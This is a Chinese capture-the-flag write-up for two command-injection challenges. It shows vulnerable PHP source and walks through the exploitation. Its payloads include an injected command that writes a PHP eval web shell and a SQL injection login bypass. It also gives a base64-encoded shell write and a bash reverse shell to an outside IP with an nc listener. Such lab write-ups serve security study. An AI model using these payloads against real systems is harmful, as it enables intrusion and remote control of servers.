命令执行 安鸾 Writeup


目录


  • 仅代码层面来说,任意命令执行漏洞的利用条件:
    1.代码中存在调用系统命令的函数
    2.函数中存在我们可控的点
    3.可控点没有过滤,或过滤不严格。

  • Linux命令连接符
    ;分号
    各个命令依次执行,输出结果,互不影响。
    |管道符
    前一个命令的输出(左边),作为后一个命令的输入(右边),可以连续使用。
    &后台运行符
    将此命令后台运行,shell可立即执行其他命令。
    &&逻辑与
    只有前一个命令执行成功,才会执行后面的命令。
    ||逻辑或
    前面的命令执行失败才会去执行后面的命令,直到执行成功。

第一题命令执行01

题目URL:http://whalwl.xyz:8033/

其中export.php源码如下:

<?php
    if (isset($_POST['name'])){
        $name = $_POST['name'];
        exec("tar -zcvf backup/$name images/*.jpg");
        echo "<div class=\"alert alert-success\" role=\"alert\">
                导出成功,<a href='backup/$name'>点击下载</a></div>";
    }
?>
  • 执行命令:
    tar -zcvf backup/$name images/*.jpg 其中 $name可控

  • 构造Payload,在网站目录写一句话木马。:
    backup.tar.gz;echo '<?php @eval($_POST["x"]); ?>' >shell.php

第二题命令执行02

登录界面存在万能密码
账户:1' or 1#
密码随意

老方法写一句话webshell:
127.0.0.1|echo PD9waHAgQGV2YWwoJF9QT1NUW29rXSk7Pz4= |base64 -d > shell.php
却发现写入失败,可能是没权限,那我们直接反弹shell
image

反弹shell:

在自己的外网机器上监听: nc -lvp 9999

ip:127.0.0.1&bash -i >& /dev/tcp/167.160.xxx.217/9999 0>&1

image

点击检测网络情况 就会执行反弹命令

最后读取根目录flag:

image

posted @ 2021-08-13 23:00  jzking121  阅读(341)  评论(3编辑  收藏  举报